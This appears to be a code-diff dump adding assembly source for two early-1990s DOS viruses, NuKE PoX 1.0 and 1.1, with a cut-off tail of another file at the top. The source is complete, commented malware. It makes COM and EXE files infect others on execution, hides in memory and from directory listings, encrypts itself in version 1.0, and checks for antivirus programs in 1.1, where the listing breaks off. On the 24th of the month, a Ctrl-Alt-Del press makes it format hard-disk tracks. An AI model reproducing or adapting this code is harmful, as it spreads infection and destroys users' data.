LOAD_PAD ENDP
|
||||
|
||||
CODE_SEG ENDS
|
||||
|
||||
END FIRST ;END "FIRST" so 8088 will go to FIRST first.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,346 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -*
|
||||
;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *-
|
||||
;-* Encrypted Copies of the Virus) -*
|
||||
;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
crypt_size equ crypt - init_virus ;All that gets Incrypted
|
||||
virus_size equ last - init_virus ;Size of the Virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h ;CTRL-ATL-DEL Key
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus ;+3 bytes
|
||||
;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes
|
||||
call doit_now ;Doit VirusMan... ;+3 Bytes
|
||||
;========
|
||||
doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes
|
||||
sub bp,109h ;have to be added to the 100h! This
|
||||
push ax ;SETs our `Delta Pointer'.
|
||||
push bx
|
||||
push cx
|
||||
push dx ;Save registers
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,0abcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,0abcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h
|
||||
mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h
|
||||
|
||||
mov ax,3521h ;Some AVs may INTCEPT this Call!
|
||||
int 21h ;May be better to go Manually...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size+virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number of bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
mov bx,offset buffer ; Its a COM file restore
|
||||
add bx,bp ; First three Bytes...
|
||||
mov ax,[bx] ; Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ; First two bytes Restored
|
||||
add bx,2 ; Get the next Byte
|
||||
mov al,[bx] ; Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ; Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ; Jump Back to Beginning
|
||||
push ax ; Restores our IP (a CALL
|
||||
retn ; Saves them, now we change
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler:
|
||||
push ax
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,0abcdh ;Virus testing
|
||||
jne int21call
|
||||
mov bx,0abcdh
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
ret
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,3h
|
||||
mov dx,offset ds:[buffer] ;Read first 3 bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end
|
||||
xor cx,cx ;of file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exit ;Yupe! Split
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the first 3
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
rocko endp
|
||||
;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,2ch ;Get Time
|
||||
int 21h
|
||||
push dx ;Split seconds to AX
|
||||
pop ax
|
||||
mov byte ptr cs:[value],al ;AL = 0 to 99
|
||||
;New Encryption Value
|
||||
mov cx,virus_size
|
||||
push cs
|
||||
pop es ;Copy ANOTHER copy of the
|
||||
mov si,offset init_virus ;Virus to the end of us
|
||||
mov di,offset last
|
||||
repne movsb
|
||||
|
||||
mov cx,crypt_size
|
||||
sub cx,3h ;Encrypt that 2nd copy!
|
||||
push bp
|
||||
mov bp,offset last + 3h
|
||||
call decrypt_encrypt
|
||||
pop bp
|
||||
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset last ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
old_time dw ?
|
||||
old_date dw ?
|
||||
jump_address db 0E9h,90h,90h
|
||||
buffer db 90h,0CDh,020h
|
||||
crypt:
|
||||
msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'...
|
||||
;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*-
|
||||
decrypt proc near
|
||||
pop bp
|
||||
push bp
|
||||
mov al,byte ptr [value-106h][bp] ;Get new Encryption
|
||||
mov cx,crypt_size ;Value
|
||||
decrypt_encrypt:
|
||||
xor cs:[bp],al ;Fuck Scanners and put a
|
||||
;***************************************************************************
|
||||
not al
|
||||
inc bp ;`NOT AL' anywhere here...
|
||||
loop decrypt_encrypt
|
||||
retn
|
||||
value db 00h ;Encryption value!
|
||||
decrypt endp
|
||||
last:
|
||||
seg_a ends
|
||||
end start
|
|
@ -0,0 +1,497 @@
|
|||
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
;-* (c) Rock Steady, Viral Developments -*
|
||||
;*- (c) NuKE Software Developement 1991, 1992 *-
|
||||
;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -*
|
||||
;*- ~~~~~~ *-
|
||||
;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -*
|
||||
;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *-
|
||||
;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -*
|
||||
;*- Bytes: 963 Bytes Memory: 963 Bytes *-
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
|
||||
virus_size equ last - init_virus
|
||||
mut1 equ 3
|
||||
mut2 equ 1
|
||||
mut3 equ 103h
|
||||
del_code equ 53h
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
org 100h
|
||||
rocko proc far
|
||||
|
||||
start: jmp init_virus
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Virus Begins Here...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
init_virus:
|
||||
call doit_now ;Doit VirusMan...
|
||||
|
||||
doit_now: pop bp ;Not to Lose Track
|
||||
sub bp,106h ;Set our position
|
||||
push ax ;Save all the registers
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
|
||||
mov ax,7bcdh ;Are we resident Already?
|
||||
int 21h
|
||||
cmp bx,7bcdh ;Yupe... Quit Then...
|
||||
je exit_com
|
||||
|
||||
xor bx,bx
|
||||
push cs ;Get CS=DS
|
||||
pop ds
|
||||
mov cx,es
|
||||
|
||||
mov ax,3509h ;Hook Int 9 Please...
|
||||
int 21h
|
||||
mov word ptr cs:[int9+2][bp],es
|
||||
mov word ptr cs:[int9][bp],bx
|
||||
|
||||
mov ax,3521h ;Sometimes tend to intercept
|
||||
int 21h ;This Interrupt...
|
||||
mov word ptr cs:[int21+2][bp],es ;Save the Int
|
||||
mov word ptr cs:[int21][bp],bx ;Vector Table
|
||||
|
||||
dec cx ;Get a new Memory block
|
||||
mov es,cx ;Put it Back to ES
|
||||
mov bx,es:mut1
|
||||
mov dx,virus_size ;Size to `Hide'
|
||||
mov cl,4 ;And all this crap hides
|
||||
shr dx,cl ;your number od bytes in DX
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4ah ;Call int to do it...
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
mov ah,48h
|
||||
dec dx
|
||||
mov bx,dx ;It's Done... Yeah!
|
||||
int 21h
|
||||
|
||||
jc exit_com
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8h ;Here we move our Virus into
|
||||
mov es:mut2,cx ;the `Hidden' memory!
|
||||
sub ax,0fh
|
||||
mov di,mut3
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,offset init_virus
|
||||
mov cx,virus_size
|
||||
cld
|
||||
repne movsb
|
||||
|
||||
mov ax,2521h ;Restore Int21 with ours
|
||||
mov dx,offset int21_handler ;Where it starts
|
||||
push es
|
||||
pop ds
|
||||
int 21h
|
||||
|
||||
mov ax,2509h ;Restore Int9 with ours
|
||||
mov dx,offset int9_handler ;The Handler...
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
exit_com:
|
||||
cmp word ptr cs:[buffer][bp],5A4Dh
|
||||
je exit_exe_file ;Its an EXE file...
|
||||
mov bx,offset buffer ;Its a COM file restore
|
||||
add bx,bp ;First three Bytes...
|
||||
mov ax,[bx] ;Mov the Byte to AX
|
||||
mov word ptr ds:[100h],ax ;First two bytes Restored
|
||||
add bx,2 ;Get the next Byte
|
||||
mov al,[bx] ;Move the Byte to AL
|
||||
mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes
|
||||
pop ds
|
||||
pop es
|
||||
pop bp ;Restore Regesters
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,100h ;Jump Back to Beginning
|
||||
push ax ;Restores our IP (a CALL
|
||||
retn ;Saves them, now we changed
|
||||
int21 dd ? ;Our Old Int21
|
||||
int9 dd ? ;Our Old Int9
|
||||
|
||||
exit_exe_file:
|
||||
mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,word ptr cs:[exe_cs][bp] ;Get original CS
|
||||
add dx,word ptr cs:[exe_ss][bp] ;Get original SS
|
||||
mov bx,word ptr cs:[exe_ip][bp] ;Get original IP
|
||||
mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP
|
||||
mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS
|
||||
mov ax,word ptr cs:[exe_sp][bp] ;Get original SP
|
||||
mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS
|
||||
mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
db 0B8h ;This is now a MOV AX,XXXX
|
||||
Rock_Fix1: ;XXXX is the original SS
|
||||
dw 0 ;Our XXXX Value
|
||||
cli ;Disable Interrupts
|
||||
mov ss,ax ;Mov it to SS
|
||||
db 0BCh ;This is now a MOV SP,XXXX
|
||||
Rock_Fix2:
|
||||
dw 0 ;The XXXX Value for SP
|
||||
sti ;Enable interrupts
|
||||
db 0EAh ;JMP XXXX:YYYY
|
||||
fuck_yeah:
|
||||
dd 0 ;Dword IP:CS (Reverse order!
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 9 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int9_handler: ;Every TIME a KEY is pressed
|
||||
push ax ;This ROUTINE is called!
|
||||
in al,60h ;Has the user attempted a
|
||||
cmp al,del_code ;CTRL-ALT-DEL
|
||||
je warm_reboot ;Yes! Screw him
|
||||
bye_bye: pop ax
|
||||
jmp dword ptr cs:[int9] ;Nope, Leave system alone
|
||||
warm_reboot:
|
||||
mov ah,2ah ;Get Date Please
|
||||
int 21h
|
||||
cmp dl,18h ;Is it 24th of the Month?
|
||||
jne bye_bye ;Yes, bye_Bye HD
|
||||
mov ch,0
|
||||
hurt_me: mov ah,05h
|
||||
mov dh,0
|
||||
mov dl,80h ;Formats a few tracks...
|
||||
int 13h ;Hurts So good...
|
||||
inc ch
|
||||
cmp ch,20h
|
||||
loopne hurt_me
|
||||
db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot!
|
||||
iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Dir Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
dir_handler:
|
||||
pushf
|
||||
push cs
|
||||
call int21call ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected ;Not for us man...
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,1dh ;Is in 58 seconds?
|
||||
jnz not_infected ;Nope...
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],virus_size ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected: pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Int 21 Handler
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
int21_handler:
|
||||
cmp ax,4b00h ;File executed
|
||||
je execute
|
||||
cmp ah,11h ;Dir handler
|
||||
je dir_handler
|
||||
cmp ah,12h ;Next file Dir handler
|
||||
je dir_handler
|
||||
cmp ax,7bcdh ;Virus testing
|
||||
jne int21call
|
||||
jmp execute
|
||||
int21call:
|
||||
jmp dword ptr cs:[int21] ;Split...
|
||||
execute:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
cmp ax,7bcdh ;Was Virus testing if it was
|
||||
jne continue ;Alive? If No Continue
|
||||
push cs
|
||||
pop ds ;If Yes, Check if COMMAND.CO
|
||||
mov dx,offset command ;Is infected! And return
|
||||
jmp continue2
|
||||
continue:
|
||||
call check_name ;Make sure file executed
|
||||
jc exit_now ;Ain't a Anti-Viral program
|
||||
continue2: ;With the CRC-32 checkers
|
||||
mov ax,4300h ;Get file Attribs
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
test cl,1h ;Make sure there normal
|
||||
jz open_file ;Okay there are
|
||||
and cl,0feh ;Nope, Fix them...
|
||||
mov ax,4301h ;Save them now
|
||||
int 21h
|
||||
jc exit
|
||||
|
||||
open_file: mov ax,3D02h
|
||||
int 21h ;Open File to Infect please
|
||||
|
||||
jc exit ;Error Split
|
||||
mov bx,ax ;BX File handler
|
||||
mov ax,5700h ;Get file TIME + DATE
|
||||
int 21h
|
||||
|
||||
mov al,cl
|
||||
or cl,1fh ;Un mask Seconds
|
||||
dec cx ;60 seconds
|
||||
dec cx ;58 seconds
|
||||
xor al,cl ;Is it 58 seconds?
|
||||
jz exit ;File already infected
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov word ptr ds:[old_time],cx ;Save Time
|
||||
mov word ptr ds:[old_date],dx ;Save Date
|
||||
|
||||
mov ah,3Fh
|
||||
mov cx,20h
|
||||
mov dx,offset ds:[buffer] ;Read first 20h bytes
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
mov ax,4202h ;Move file pointer to end of
|
||||
xor cx,cx ;file...
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
jc exit_now ;Error Split
|
||||
cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE?
|
||||
je exe_file ;JMP to EXE Infector
|
||||
mov cx,ax
|
||||
sub cx,3 ;Set the JMP
|
||||
mov word ptr cs:[jump_address+1],cx
|
||||
call infect_me ;Infect!
|
||||
jc exit_now ;error split
|
||||
mov ah,40h ;Write back the firs
|
||||
mov dx,offset ds:[jump_address] ;bytes
|
||||
mov cx,3h
|
||||
int 21h
|
||||
exit_now:
|
||||
mov cx,word ptr cs:[old_time] ;Restore old time
|
||||
mov dx,word ptr cs:[old_date] ;Restore Old date
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
exit_now2:
|
||||
mov ah,3Eh
|
||||
int 21h ;Close File now...
|
||||
exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp ax,7bcdh ;Virus checking if alive
|
||||
jne leave_now ;No, Exit normally
|
||||
mov bx,ax ;Yes, Fix BX with codez
|
||||
leave_now:
|
||||
jmp dword ptr cs:[int21] ;Jmp back to whatever
|
||||
exe_file:
|
||||
mov cx,word ptr cs:[buffer+20] ;IP Regester
|
||||
mov word ptr cs:[exe_ip],cx ;Save IP Regester
|
||||
mov cx,word ptr cs:[buffer+22] ;CS Regester
|
||||
mov word ptr cs:[exe_cs],cx ;Save CS Regester
|
||||
mov cx,word ptr cs:[buffer+16] ;SP Regester
|
||||
mov word ptr cs:[exe_sp],cx ;Save SP Regester
|
||||
mov cx,word ptr cs:[buffer+14] ;SS Regester
|
||||
mov word ptr cs:[exe_ss],cx ;Save SS Regester
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new CS:IP
|
||||
sub dx,word ptr cs:[buffer+8]
|
||||
mov word ptr cs:[buffer+22],dx ;Restore New CS
|
||||
mov word ptr cs:[buffer+20],ax ;Restore New IP
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virus_size
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call multiply ;Figure a new SS:SP
|
||||
sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall
|
||||
add ax,40h
|
||||
mov word ptr cs:[buffer+14],dx ;New SS Pointer
|
||||
mov word ptr cs:[buffer+16],ax ;New SP Pointer
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push bx
|
||||
push cx
|
||||
mov cl,7 ;Fix for Header for
|
||||
shl dx,cl ;new file size in 512
|
||||
;byte pages
|
||||
mov bx,ax
|
||||
mov cl,9 ;And the remainder
|
||||
shr bx,cl ;after dividing by
|
||||
;512...
|
||||
add dx,bx
|
||||
and ax,1FFh
|
||||
jz outta_here
|
||||
inc dx
|
||||
outta_here:
|
||||
pop cx
|
||||
pop bx
|
||||
|
||||
mov word ptr cs:[buffer+2],ax ;Save Remainder
|
||||
mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag
|
||||
call infect_me ;INFECT File! Yeah!
|
||||
jc exit_exe
|
||||
|
||||
mov ah,40h ;Write NEW EXE Header back
|
||||
mov dx,offset ds:[buffer] ;to EXE File! Points to
|
||||
mov cx,20h ;The Virus Now!!! ehhe
|
||||
int 21h
|
||||
exit_exe:
|
||||
jmp exit_now
|
||||
|
||||
rocko endp
|
||||
|
||||
exe_ip dw 0 ;Original IP,CS,SP,SS From EXE
|
||||
exe_cs dw 0 ;Header!
|
||||
exe_sp dw 0
|
||||
exe_ss dw 0
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Infection Routine...
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
infect_me proc near
|
||||
mov ah,40h ;Write the New Encrypted
|
||||
mov dx,offset init_virus ;Virus to File!
|
||||
mov cx,virus_size
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Error Split
|
||||
mov ax,4200h
|
||||
xor cx,cx ;Pointer back to beginning
|
||||
xor dx,dx ;file!
|
||||
int 21h
|
||||
|
||||
jc exit_error ;Split Dude...
|
||||
clc ;Clear carry flag
|
||||
retn
|
||||
exit_error:
|
||||
stc ;Set carry flag
|
||||
retn
|
||||
infect_me endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Fix EXE Header...Gets new SS, CS Values for EXEs headers
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
multiply proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl
|
||||
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl
|
||||
|
||||
add dx,bx
|
||||
and ax,0Fh
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
multiply endp
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
; Check to see if an `Anti-Viral' Product is being executed.
|
||||
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
||||
check_name proc near
|
||||
push si
|
||||
push cx
|
||||
|
||||
mov si,dx
|
||||
mov cx,128h
|
||||
loop_me:
|
||||
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
|
||||
je next_ok
|
||||
inc si
|
||||
loop loop_me
|
||||
next_ok:
|
||||
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
|
||||
jne next_1 ;Naaa
|
||||
cmp ds:[si-4],'RP'
